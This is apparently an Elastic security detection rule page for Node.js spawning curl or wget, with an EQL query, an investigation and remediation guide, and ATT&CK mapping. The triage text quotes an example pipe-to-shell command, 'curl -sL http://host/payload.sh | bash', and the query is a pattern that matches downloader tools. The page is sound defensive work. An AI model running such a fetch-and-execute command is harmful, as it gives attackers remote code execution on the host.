Curl or Wget Spawned via Node.js
This rule detects when Node.js, directly or via a shell, spawns the curl or wget command. This may indicate command and control behavior. Adversaries may use Node.js to download additional tools or payloads onto the system.
Elastic rule (View on GitHub)
1[metadata]
2creation_date = "2025/09/18"
3integration = ["endpoint"]
4maturity = "production"
5updated_date = "2025/10/06"
6
7[rule]
8author = ["Elastic"]
9description = """
10This rule detects when Node.js, directly or via a shell, spawns the curl or wget command. This may indicate
11command and control behavior. Adversaries may use Node.js to download additional tools or payloads onto
12the system.
13"""
14from = "now-9m"
15index = ["logs-endpoint.events.process*"]
16language = "eql"
17license = "Elastic License v2"
18name = "Curl or Wget Spawned via Node.js"
19note = """## Triage and analysis
20
21> **Disclaimer**:
22> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.
23
24### Investigating Curl or Wget Spawned via Node.js
25
26This rule flags Node.js launching curl or wget, directly or via a shell, a common technique to fetch payloads and enable command-and-control. Attackers often abuse child_process in Node apps to run "curl -sL http://host/payload.sh | bash," pulling a second stage from a remote host and executing it immediately under the guise of legitimate application activity.
27
28### Possible investigation steps
29
30- Pull the full process tree and command line to extract URLs/domains, flags (e.g., -sL, -O, --insecure), and identify whether the output is piped into an interpreter, indicating immediate execution risk.
31- Correlate with file system activity to find newly created or modified artifacts (e.g., in /tmp, /var/tmp, /dev/shm, or the app directory), then hash and scan them and check for follow-on executions.
32- Pivot to network telemetry to enumerate connections around the event from both Node.js and the child process, assessing destination reputation (IP/domain, ASN, geo, cert/SNI) against approved update endpoints.
33- Trace the initiating Node.js code path and deployment (child_process usage such as exec/spawn/execFile), and review package.json lifecycle scripts and recent npm installs or postinstall hooks for unauthorized download logic.
34- Verify user and runtime context (service account/container/pod), inspect environment variables like HTTP(S)_PROXY/NO_PROXY, and check whether credentials or tokens were passed to curl/wget to assess exposure.
35
36### False positive analysis
37
38- A legitimate Node.js service executes curl or wget to retrieve configuration files, certificates, or perform health checks against approved endpoints during startup or routine operation.
39- Node.js install or maintenance scripts use a shell with -c to run curl or wget and download application assets or updates, triggering the rule even though this aligns with expected deployment workflows.
40
41### Response and remediation
42
43- Immediately isolate the affected host or container, stop the Node.js service that invoked curl/wget (and any parent shell), terminate those processes, and block the exact URLs/domains/IPs observed in the command line and active connections.
44- Quarantine and remove any artifacts dropped by the downloader (e.g., files in /tmp, /var/tmp, /dev/shm or paths specified by -O), delete added cron/systemd entries referencing those files, and revoke API tokens or credentials exposed in the command line or headers.
45- Escalate to full incident response if output was piped to an interpreter (curl ... | bash or wget ... | sh), if --insecure/-k or self-signed endpoints were used, if unknown external infrastructure was contacted, or if secrets were accessed or exfiltrated.
46- Rebuild and redeploy the workload from a known-good image, remove the malicious child_process code path from the Node.js application, restore validated configs/data, rotate any keys or tokens used by that service, and verify no further curl/wget spawns occur post-recovery.
47- Harden by removing curl/wget from runtime images where not required, enforcing egress allowlists for the service, constraining execution with AppArmor/SELinux/seccomp and least-privilege service accounts, and adding CI/CD checks to block package.json postinstall scripts or code that shells out to downloaders.
48"""
49risk_score = 21
50rule_id = "d9af2479-ad13-4471-a312-f586517f1243"
51setup = """## Setup
52
53This rule requires data coming in from Elastic Defend.
54
55### Elastic Defend Integration Setup
56Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app.
57
58#### Prerequisite Requirements:
59- Fleet is required for Elastic Defend.
60- To configure Fleet Server refer to the [documentation](https://www.elastic.co/guide/en/fleet/current/fleet-server.html).
61
62#### The following steps should be executed in order to add the Elastic Defend integration on a Linux System:
63- Go to the Kibana home page and click "Add integrations".
64- In the query bar, search for "Elastic Defend" and select the integration to see more details about it.
65- Click "Add Elastic Defend".
66- Configure the integration name and optionally add a description.
67- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads".
68- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. [Helper guide](https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html).
69- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions"
70- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead.
71For more details on Elastic Agent configuration settings, refer to the [helper guide](https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html).
72- Click "Save and Continue".
73- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts.
74For more details on Elastic Defend refer to the [helper guide](https://www.elastic.co/guide/en/security/current/install-endpoint.html).
75"""
76severity = "low"
77tags = [
78 "Domain: Endpoint",
79 "OS: Linux",
80 "Use Case: Threat Detection",
81 "Tactic: Command and Control",
82 "Data Source: Elastic Defend",
83 "Resources: Investigation Guide",
84]
85timestamp_override = "event.ingested"
86type = "eql"
87query = '''
88process where host.os.type == "linux" and event.type == "start" and event.action == "exec" and process.parent.name == "node" and (
89 (
90 process.name in ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish") and
91 process.args == "-c" and process.command_line like~ ("*curl*", "*wget*")
92 ) or
93 (
94 process.name in ("curl", "wget")
95 )
96)
97'''
98
99[[rule.threat]]
100framework = "MITRE ATT&CK"
101
102 [rule.threat.tactic]
103 name = "Command and Control"
104 id = "TA0011"
105 reference = "https://attack.mitre.org/tactics/TA0011/"
106
107 [[rule.threat.technique]]
108 name = "Application Layer Protocol"
109 id = "T1071"
110 reference = "https://attack.mitre.org/techniques/T1071/"
111
112 [[rule.threat.technique.subtechnique]]
113 name = "Web Protocols"
114 id = "T1071.001"
115 reference = "https://attack.mitre.org/techniques/T1071/001/"
Triage and analysis
Disclaimer: This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.
Investigating Curl or Wget Spawned via Node.js
This rule flags Node.js launching curl or wget, directly or via a shell, a common technique to fetch payloads and enable command-and-control. Attackers often abuse child_process in Node apps to run "curl -sL http://host/payload.sh | bash," pulling a second stage from a remote host and executing it immediately under the guise of legitimate application activity.
Possible investigation steps
- Pull the full process tree and command line to extract URLs/domains, flags (e.g., -sL, -O, --insecure), and identify whether the output is piped into an interpreter, indicating immediate execution risk.
- Correlate with file system activity to find newly created or modified artifacts (e.g., in /tmp, /var/tmp, /dev/shm, or the app directory), then hash and scan them and check for follow-on executions.
- Pivot to network telemetry to enumerate connections around the event from both Node.js and the child process, assessing destination reputation (IP/domain, ASN, geo, cert/SNI) against approved update endpoints.
- Trace the initiating Node.js code path and deployment (child_process usage such as exec/spawn/execFile), and review package.json lifecycle scripts and recent npm installs or postinstall hooks for unauthorized download logic.
- Verify user and runtime context (service account/container/pod), inspect environment variables like HTTP(S)_PROXY/NO_PROXY, and check whether credentials or tokens were passed to curl/wget to assess exposure.
False positive analysis
- A legitimate Node.js service executes curl or wget to retrieve configuration files, certificates, or perform health checks against approved endpoints during startup or routine operation.
- Node.js install or maintenance scripts use a shell with -c to run curl or wget and download application assets or updates, triggering the rule even though this aligns with expected deployment workflows.
Response and remediation
- Immediately isolate the affected host or container, stop the Node.js service that invoked curl/wget (and any parent shell), terminate those processes, and block the exact URLs/domains/IPs observed in the command line and active connections.
- Quarantine and remove any artifacts dropped by the downloader (e.g., files in /tmp, /var/tmp, /dev/shm or paths specified by -O), delete added cron/systemd entries referencing those files, and revoke API tokens or credentials exposed in the command line or headers.
- Escalate to full incident response if output was piped to an interpreter (curl ... | bash or wget ... | sh), if --insecure/-k or self-signed endpoints were used, if unknown external infrastructure was contacted, or if secrets were accessed or exfiltrated.
- Rebuild and redeploy the workload from a known-good image, remove the malicious child_process code path from the Node.js application, restore validated configs/data, rotate any keys or tokens used by that service, and verify no further curl/wget spawns occur post-recovery.
- Harden by removing curl/wget from runtime images where not required, enforcing egress allowlists for the service, constraining execution with AppArmor/SELinux/seccomp and least-privilege service accounts, and adding CI/CD checks to block package.json postinstall scripts or code that shells out to downloaders.
Related rules
- High Number of Egress Network Connections from Unusual Executable
- Potential Malware-Driven SSH Brute Force Attempt
- Unusual Command Execution from Web Server Parent
- Unusual Process Spawned from Web Server Parent
- Git Repository or File Download to Suspicious Directory